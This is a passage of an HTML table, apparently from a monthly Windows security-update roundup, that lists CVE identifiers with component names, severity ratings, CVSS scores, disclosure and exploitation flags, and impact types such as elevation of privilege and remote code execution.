  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
